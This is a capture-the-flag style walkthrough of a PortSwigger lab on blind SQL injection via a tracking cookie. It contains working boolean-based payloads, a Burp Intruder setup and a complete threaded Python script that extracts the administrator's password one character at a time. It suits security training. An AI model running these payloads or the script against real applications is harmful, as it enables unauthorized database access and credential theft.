PortSwigger

Lab Description
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs a SQL query containing the value of the submitted cookie. The results are not returned, and no error messages are displayed. However, the application includes a “Welcome back” message if the query returns any rows.
Objective: Exploit the blind SQL injection vulnerability to find the password of the administrator user, then log in.
Hint: The password contains only lowercase alphanumeric characters.
Step 1: Capture the Request
- Visit the front page of the shop
- In Burp Proxy, find the request containing the
TrackingIdcookie - Send it to Repeater
Example request:
GET / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: TrackingId=dK3rgvEMlHmFaOiz; session=...


Step 2: Confirm Injection
True condition:
Cookie: TrackingId=dK3rgvEMlHmFaOiz' AND '1'='1'-- -
- “Welcome back” message appears ⇒ Condition is true Conclusion: Boolean blind injection works.

Step 3: Verify Users Table Exists
Cookie: TrackingId=dK3rgvEMlHmFaOiz' AND (SELECT 'a' FROM users LIMIT 1)='a'-- -
- “Welcome back” appears ⇒
userstable exists

Cookie: TrackingId=dK3rgvEMlHmFaOiz' AND (SELECT 'a' FROM users LIMIT 1)='a'-- -

Step 4: Verify Administrator Use and Determine Password Length
Cookie: TrackingId=dK3rgvEMlHmFaOiz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'-- -
“Welcome back” appears → Password > 1 character
Conclusion: Password length = 20 characters

Cookie: TrackingId=dK3rgvEMlHmFaOiz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a'-- -
Step 6: Extract Password with Intruder
Payload setup:
TrackingId=dK3rgvEMlHmFaOiz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§'-- -
Attack type: Sniper
Payloads:
| Type | Values |
|---|---|
| Simple list | a-z, 0-9 |
Grep-Match setup:
- Add
Welcome backto the Grep-Match list

Step 7: Python Script Alternative

import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
URL = "https://0a7000dc042b87a080c67b7300b50076.web-security-academy.net/"
COOKIE_TRACKING_BASE = "dK3rgvEMlHmFaOiz"
COOKIE_SESSION = "HAgg2HcVZqaHHh4LJISMWpSdT3nRND8G"
INDICATOR = "Welcome back"
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"
MAX_LEN = 30
THREADS = 10
DELAY = 0.05
TIMEOUT = 10
HEADERS = {
"Host": "0a7000dc042b87a080c67b7300b50076.web-security-academy.net",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"Te": "trailers"
}
session = requests.Session()
session.headers.update({"User-Agent": HEADERS["User-Agent"]})
session.verify = True
def send_with_payload(payload):
cookies = {
"TrackingId": COOKIE_TRACKING_BASE + payload,
"session": COOKIE_SESSION
}
try:
r = session.get(URL, cookies=cookies, timeout=TIMEOUT)
return INDICATOR in r.text
except requests.RequestException:
return False
def length_gt(n):
payload = f"' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password) > {n}) = 'a'--"
ok = send_with_payload(payload)
if DELAY:
time.sleep(DELAY)
return ok
def char_at_equals(pos, ch):
payload = f"' AND (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}'--"
ok = send_with_payload(payload)
if DELAY:
time.sleep(DELAY)
return ok
def discover_length(max_len=MAX_LEN):
lo = 0
hi = max_len
while lo < hi:
mid = (lo + hi + 1) // 2
if length_gt(mid):
lo = mid
else:
hi = mid - 1
discovered = lo + 1
if discovered <= max_len:
return discovered
return None
def extract_password(length, charset=CHARSET, threads=THREADS):
password = ["?"] * length
for pos in range(1, length + 1):
found_char = None
def check_char(ch):
try:
return ch if char_at_equals(pos, ch) else None
except Exception:
return None
with ThreadPoolExecutor(max_workers=threads) as ex:
futures = {ex.submit(check_char, ch): ch for ch in charset}
for fut in as_completed(futures):
result = fut.result()
if result:
found_char = result
break
if found_char is None:
print(f"[!] Could not find character for position {pos}", file=sys.stderr)
break
password[pos - 1] = found_char
print(f"[+] Found pos {pos}: {found_char} -> {''.join(password)}")
return "".join(password)
def main():
print("[*] Discovering password length...")
length = discover_length()
if not length or length == 0:
print("[!] Could not determine password length", file=sys.stderr)
sys.exit(1)
print(f"[+] Discovered password length: {length}")
print("[*] Extracting password...")
pwd = extract_password(length)
print("\n=== RESULT ===")
print(f"Password (length {length}): {pwd}")
if __name__ == "__main__":
main()
Step 8: Log In as Administrator
- Go to the login page
- Username:
administrator - Password:
ls07nq8h3mp4of9jzkdw - Click Log in

Step 9: Lab Solved
